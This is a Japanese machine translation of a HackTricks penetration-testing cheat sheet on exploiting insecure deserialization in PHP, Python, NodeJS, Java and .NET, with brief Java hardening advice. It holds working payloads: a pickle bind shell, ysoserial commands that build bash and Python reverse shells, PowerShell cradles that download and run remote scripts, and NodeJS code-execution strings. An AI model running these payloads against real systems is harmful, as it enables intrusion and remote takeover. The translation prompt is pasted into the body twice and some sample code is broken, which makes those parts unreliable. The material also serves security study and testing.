.. | ||
nodejs-proto-prototype-pollution | ||
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md | ||
basic-java-deserialization-objectinputstream-readobject.md | ||
exploiting-__viewstate-knowing-the-secret.md | ||
exploiting-__viewstate-parameter.md | ||
java-dns-deserialization-and-gadgetprobe.md | ||
java-jsf-viewstate-.faces-deserialization.md | ||
java-transformers-to-rutime-exec-payload.md | ||
jndi-java-naming-and-directory-interface-and-log4shell.md | ||
php-deserialization-+-autoload-classes.md | ||
python-yaml-deserialization.md | ||
README.md |
シリアライゼーション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
シリアライゼーションは、あるオブジェクトを後で復元できるデータ形式に変換するプロセスです。人々はしばしばオブジェクトをシリアライズして、ストレージに保存したり、通信の一部として送信したりします。
デシリアライゼーションはその逆のプロセスであり、ある形式から構造化されたデータを取り出し、オブジェクトに再構築します。現在、データをシリアライズするための最も人気のあるデータ形式はJSONです。それ以前はXMLでした。
多くの場合、サーバーサイドには、ユーザーが提供したオブジェクトを非シリアライズ化するコードがあります。
この場合、サーバーサイドが予期しない動作をするように、悪意のあるペイロードを送信することができます。
攻撃方法については、https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html を読むべきです。
PHP
シリアライズ時に使用されるマジックメソッド:
__sleep
は、オブジェクトがシリアライズされるときに呼び出され、配列に戻される必要があります。
デシリアライズ時に使用されるマジックメソッド:
__wakeup
は、オブジェクトがデシリアライズされるときに呼び出されます。__unserialize
は、存在する場合は__wakeup
の代わりに呼び出されます。__destruct
は、PHPスクリプトが終了し、オブジェクトが破棄されるときに呼び出されます。__toString
はオブジェクトを文字列として使用しますが、ファイルの読み取りなど、それを利用した関数呼び出しに基づいたさらなる操作も可能です。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
結果を見ると、オブジェクトがデシリアライズされるときに**__wakeup
関数と__destruct
関数が呼び出されることがわかります。注意点として、いくつかのチュートリアルでは、__toString
関数が属性を表示しようとすると呼び出されるとされていますが、おそらくそれはもう起こらなくなっている**ようです。
{% hint style="warning" %}
クラスで**__unserialize(array $data)
メソッドが実装されている場合、__wakeup()
の代わりに**このメソッドが呼び出されます。このメソッドを使用して、シリアライズされたデータを配列として提供してオブジェクトをデシリアライズすることができます。このメソッドを使用してプロパティをデシリアライズし、必要なタスクを実行することができます。
phpCopy codeclass MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
{% endhint %}
以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイル/hive/hacktricks/pentesting-web/deserialization/README.mdからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の要素は追加しないでください。
{% endhint %}
PHPの例についてはこちらを参照してください:https://www.notsosecure.com/remote-code-execution-via-php-unserialize/、https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf、またはhttps://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
PHPのautoload機能を悪用して、任意のphpファイルを読み込んだり、その他の操作を行ったりすることができます。
{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}
参照値のシリアライズ
何らかの理由で、値を他の値のシリアライズへの参照としてシリアライズしたい場合は、次のようにします:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (PHPのysoserial)
PHPGGCは、PHPの逆シリアル化を悪用するペイロードを生成するのに役立ちます。
アプリケーションのソースコードで逆シリアル化を悪用する方法が見つからない場合でも、外部のPHP拡張機能のコードを悪用することができる場合があります。
したがって、サーバーのphpinfo()
をチェックし、インターネット上(そしてPHPGGCのガジェット上)で悪用できる可能性のあるガジェットを検索してください。
phar://メタデータの逆シリアル化
ファイルを読み取り、その中のPHPコードを実行しないLFIを見つけた場合、例えばfile_get_contents()
、fopen()
、file()
、file_exists()
、md5_file()
、filemtime()
、filesize()
などの関数を使用している場合、pharプロトコルを使用してファイルを読み取る際に逆シリアル化を悪用することができます。
詳細については、次の投稿を読んでください:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Python
Pickle
オブジェクトがアンピクルされると、関数__reduce__
が実行されます。
悪用されると、サーバーはエラーを返す可能性があります。
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
pickle jailsからの脱出についての詳細は、次を参照してください:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Yaml & jsonpickle
次のページでは、yamlsのPythonライブラリでの安全でない逆シリアル化を悪用する技術が紹介され、Pickle、PyYAML、jsonpickle、ruamel.yamlのためのRCE逆シリアル化ペイロードを生成するために使用できるツールが提供されています:
{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}
クラスの汚染(Pythonのプロトタイプ汚染)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}
NodeJS
JS Magic Functions
JSにはPHPやPythonのような**"magic" functionsはありませんが、toString
、valueOf
、toJSON
など、直接呼び出さなくても頻繁に使用される関数があります。
逆シリアル化を悪用することで、これらの関数を侵害して他のコードを実行**することができます(プロトタイプ汚染を悪用する可能性があります)。これらの関数が呼び出されると、任意のコードが実行されます。
関数を直接呼び出さずに関数を呼び出すもう1つの**"magic"な方法は、非同期関数(プロミス)によって返されるオブジェクトを侵害することです。なぜなら、その返されたオブジェクトを別のプロミスに変換し、関数型の"then"プロパティを持つ場合、別のプロミスによって返されるため、それが実行**されるからです。詳細についてはこのリンクを参照してください。
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}
async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
とprototype
の汚染
このテクニックについて学びたい場合は、以下のチュートリアルを参照してください:
{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}
node-serialize
このライブラリは、関数をシリアライズすることができます。例:
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
シリアライズされたオブジェクトは次のようになります:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
例では、関数がシリアライズされると、シリアライズされたオブジェクトに _$$ND_FUNC$$_
フラグが追加されることがわかります。
node-serialize/lib/serialize.js
ファイル内には、同じフラグとそのコードの使用方法が記述されています。
最後のコードのチャンクでわかるように、フラグが見つかると eval
が使用されて関数がデシリアライズされます。つまり、ユーザーの入力が eval
関数内で使用されることになります。
ただし、関数を単にシリアライズするだけでは実行されません。例えば、コードの一部が y.rce
を呼び出している必要があり、それは非常に不可能です。
とはいえ、シリアライズされたオブジェクトがデシリアライズされるときに、自動的にシリアライズされた関数が実行されるように、シリアライズされたオブジェクトにいくつかの括弧を追加するだけで済みます。
次のコードのチャンクで、最後の括弧に注目し、unserialize
関数がコードを自動的に実行することに注意してください。
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
以前に示されたように、このライブラリは_$$ND_FUNC$$_
の後にコードを取得し、eval
を使用して実行します。したがって、コードを自動実行するためには、関数の作成部分と最後の括弧を削除し、次の例のようにJSのワンライナーを実行するだけです。
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
この脆弱性を悪用する方法についての詳細はこちらで見つけることができます。
funcster
興味深い違いは、標準の組み込みオブジェクトにアクセスできないことです。なぜなら、それらはスコープ外にあるからです。つまり、コードを実行することはできますが、組み込みオブジェクトのメソッドを呼び出すことはできません。したがって、console.log()
やrequire(something)
を使用すると、Nodeは「"ReferenceError: console is not defined"」のような例外を返します。
ただし、this.constructor.constructor("console.log(1111)")();
のようなものを使用して、引き続きグローバルコンテキストにアクセスできるため、簡単にすべてにアクセスできます。
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
詳細については、このページを読んでください。
serialize-javascript
このパッケージには逆シリアル化の機能は含まれておらず、自分で実装する必要があります。彼らの例では、eval
を直接使用しています。これが公式の逆シリアル化の例です:
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
この関数がオブジェクトをデシリアライズするために使用される場合、それを簡単に悪用することができます。
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Cryoライブラリ
以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法についての情報を見つけることができます:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Javaでのシリアライズされたオブジェクトの主な問題は、デシリアライズ中にデシリアライズコールバックが呼び出されることです。これにより、攻撃者はそのコールバックを悪用するペイロードを準備し、悪意のあるアクションを実行することが可能になります。
フィンガープリント
ホワイトボックス
コード内を検索して、シリアライズクラスと関数を探します。たとえば、Serializable
を実装するクラス、java.io.ObjectInputStream
の使用、readObject
またはreadUnshare
関数の使用などを検索します。
また、以下にも注意を払う必要があります:
- 外部ユーザー定義パラメータを使用した
XMLdecoder
fromXML
メソッドを使用したXStream
(xstreamバージョン<= v1.46はシリアライゼーションの問題があります)readObject
を使用したObjectInputStream
readObject
、readObjectNodData
、readResolve
、またはreadExternal
の使用ObjectInputStream.readUnshared
Serializable
ブラックボックス
Javaシリアライズオブジェクトのフィンガープリント/マジックバイト(ObjectInputStream
から):
- 16進数での
AC ED 00 05
- Base64での
rO0
- HTTPレスポンスの
Content-type
ヘッダがapplication/x-java-serialized-object
に設定されている - 事前に圧縮された16進数での
1F 8B 08 00
- 事前に圧縮されたBase64での
H4sIA
- 拡張子が
.faces
であり、faces.ViewState
パラメータを持つWebファイル。これをWebアプリで見つけた場合は、Java JSF VewState Deserializationに関する投稿を参照してください。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
脆弱性のチェック
Javaの逆シリアル化の脆弱性の仕組みについて学びたい場合は、基本的なJava逆シリアル化、Java DNS逆シリアル化、およびCommonsCollection1ペイロードを参照してください。
ホワイトボックステスト
既知の脆弱性を持つアプリケーションがインストールされているかどうかを確認できます。
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイル/hive/hacktricks/pentesting-web/deserialization/README.mdからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の要素は追加しないでください。
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64でペイロードをエンコードする
base64 -w0 payload
**java.lang.Runtime.exec()**のペイロードを作成する際には、">"や"|"のような特殊文字を使用して実行結果をリダイレクトすることや、"$()"を使用してコマンドを実行すること、さらにはスペースで区切られた引数をコマンドに渡すことはできません(echo -n "hello world"
はできますが、python2 -c 'print "Hello world"'
はできません)。ペイロードを正しくエンコードするためには、このウェブページを使用することができます。
次のスクリプトを使用して、WindowsとLinuxのすべての可能なコード実行ペイロードを作成し、その後、脆弱なウェブページでテストしてください。
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
https://github.com/pwntester/SerialKillerBypassGadgetCollectionを使用して、ysoserialと組み合わせてさらにエクスプロイトを作成することができます。このツールの詳細については、ツールが発表されたトークのスライドで確認できます:https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
https://github.com/mbechler/marshalsecは、Javaで異なるJsonおよびYmlシリアライゼーションライブラリをエクスプロイトするためのペイロードを生成するために使用できます。
プロジェクトをコンパイルするために、pom.xml
に次の依存関係を追加する必要がありました:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Mavenをインストールし、プロジェクトをコンパイルします:
$ sudo apt-get install maven
$ mvn compile
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
このJavaのJSONライブラリについて詳しくはこちらを参照してください:https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
ラボ
- ysoserialのペイロードをテストしたい場合は、このWebアプリを実行してください:https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
なぜ
Javaはシリアライズされたオブジェクトをあちこちに送ります。例えば:
- HTTPリクエスト - パラメータ、ViewState、Cookieなど。
- RMI - 広く使用されているJava RMIプロトコルは、100%シリアライズに基づいています。
- RMI over HTTP - 多くのJavaの厚いクライアントWebアプリがこれを使用しています - 再び100%シリアライズされたオブジェクトです。
- JMX - 再び、シリアライズされたオブジェクトがワイヤー上に送信されることに依存しています。
- カスタムプロトコル - 生のJavaオブジェクトの送受信が一般的です - これについては、いくつかの脆弱性で見ていきます。
予防
一時的なオブジェクト
Serializable
を実装するクラスは、シリアライズされてはいけないクラス内のオブジェクトをtransient
として実装することができます。例えば:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
シリアライズが必要なクラスのシリアライズを回避する
アプリケーションの一部のオブジェクトは、階層構造のためにSerializable
を実装する必要がある場合があります。アプリケーションオブジェクトがデシリアライズされないようにするためには、常に例外をスローするreadObject()
メソッドを宣言する必要があります(final
修飾子を付ける)。
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
デシリアライズする前にデシリアライズされたクラスをチェックする
java.io.ObjectInputStream
クラスはオブジェクトをデシリアライズするために使用されます。その動作を強化するために、このクラスをサブクラス化することができます。これは、次の条件が揃っている場合に最適な解決策です。
- デシリアライズを行うコードを変更できる場合
- デシリアライズすることを期待するクラスを知っている場合
一般的なアイデアは、ObjectInputStream.html#resolveClass()
をオーバーライドして、デシリアライズを許可するクラスを制限することです。
この呼び出しはreadObject()
が呼び出される前に行われるため、許可したいタイプのクラスでない限り、デシリアライズは行われないことが保証されます。
以下に、LookAheadObjectInputStream
クラスがBicycle
クラス以外の型をデシリアライズしないことが保証される簡単な例を示します。
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
エージェントを使用してすべてのjava.io.ObjectInputStreamの使用を強化する
コードを所有していない場合やパッチを待つことができない場合は、エージェントを使用してjava.io.ObjectInputStream
に強化を施すことが最善の解決策です。
このアプローチでは、シリアライズされているオブジェクトがわからないため、既知の悪意のあるタイプをブラックリストにすることしかできません。
これらのエージェントを有効にするには、単に新しいJVMパラメータを追加します:
-javaagent:name-of-agent.jar
参考文献
- デシリアライゼーションとysoserialの話:http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- gadgetinspectorについてのトーク:https://www.youtube.com/watch?v=wPbW6zQ52w8 およびスライド:https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsecの論文:https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Javaと.NetのJSONデシリアライゼーションの論文:https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, トーク:https://www.youtube.com/watch?v=oUAeWhW5b8c およびスライド:https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- デシリアライゼーションのCVE:https://paper.seebug.org/123/
JNDI Injection & log4Shell
以下のページで、JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してそれを悪用する方法、およびlog4shellを悪用する方法(およびこの脆弱性の例)を見つけてください。
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}
JMS - Java Message Service
Java Message Service(JMS)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー-コンシューマー問題を処理するための実装です。JMSはJava Platform, Enterprise Edition(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Java Community Processによってガイドされています。これは、Java EEをベースにしたアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取りすることを可能にするメッセージングの標準です。分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性があり、非同期で行うことができます。(Wikipediaより)
製品
このミドルウェアを使用してメッセージを送信するためにいくつかの製品があります:
攻撃手法
したがって、基本的にはJMSを危険な方法で使用している多くのサービスがあります。したがって、これらのサービスにメッセージを送信するための十分な特権がある場合(通常、有効な資格情報が必要です)、シリアライズされた悪意のあるオブジェクトを送信して、コンシューマ/サブスクライバによってデシリアライズされることができます。
これは、この攻撃手法では、そのメッセージを使用するすべてのクライアントが感染することを意味します。
サービスが脆弱である場合(ユーザーの入力を安全にデシリアライズしていないため)、依然として脆弱性を悪用するための有効なガジェットを見つける必要があることを覚えておく必要があります。
ツールJMETは、既知のガジェットを使用してシリアライズされた悪意のあるオブジェクトを送信し、これらのサービスに接続して攻撃するために作成されました。これらの攻撃は、サービスがまだ脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
参考文献
- JMETのトーク:https://www.youtube.com/watch?v=0h8DWiOWGGA
- スライド:https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
.Netは、デシリアライゼーションの脆弱性がどのように機能するかに関してJavaと似ています:攻撃は、オブジェクトがデシリアライズされるときにいくつかの興味深いコードを実行するガジェットを悪用します。
フィンガープリント
ホワイトボックス
以下の用語をソースコードで検索します:
TypeNameHandling
JavaScriptTypeResolver
ユーザーが制御可能な変数で型が設定されているシリアライザを探します。
ブラックボックス
Base64でエンコードされた文字列 AAEAAAD///// またはバックエンドで デシリアライズ可能なもの を検索し、デシリアライズされる型を制御できるものを探します。例えば、TypeObject
や $type
を含む JSON や XML です。
ysoserial.net
この場合、ツール ysoserial.net を使用して デシリアライズのエクスプロイトを作成 することができます。Gitリポジトリをダウンロードしたら、例えばVisual Studioを使用してツールを コンパイル する必要があります。
ysoserial.netがエクスプロイトを作成する方法について学びたい場合は、ObjectDataProviderガジェット+ExpandedWrapper+Json.Netフォーマッタが説明されているこのページを参照してください](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
ysoserial.net の主なオプションは、--gadget
、--formatter
、--output
、および --plugin
です。
--gadget
は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。--formatter
は、エクスプロイトをシリアライズするためのメソッドを示すために使用されます(バックエンドがペイロードをデシリアライズするために使用しているライブラリを知る必要があり、同じライブラリを使用してシリアライズする必要があります)。--output
は、エクスプロイトを 生の形式 または Base64エンコード で表示するかを示すために使用されます。_注意してください、ysoserial.net はペイロードを UTF-16LE(Windowsでデフォルトで使用されるエンコーディング)で エンコード するため、生の形式を取得してLinuxコンソールからエンコードすると、エンコーディングの互換性の問題が発生し、エクスプロイトが正常に動作しない可能性があります(HTB JSONボックスでは、ペイロードはUTF-16LEとASCIIの両方で動作しましたが、常に動作するわけではありません)。--plugin
ysoserial.netは、ViewStateなどの特定のフレームワークの エクスプロイトを作成するためのプラグイン をサポートしています。
その他のysoserial.netパラメータ
--minify
は、可能な場合に より小さなペイロード を提供します。--raf -f Json.Net -c "anything"
これにより、指定されたフォーマッタ(この場合はJson.Net
)で使用できるすべてのガジェットが示されます。--sf xml
ガジェットを指定することができ、ysoserial.netは "xml" を含むフォーマッタを検索します(大文字小文字を区別しない)。
ysoserialの例 エクスプロイトを作成するために使用します:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
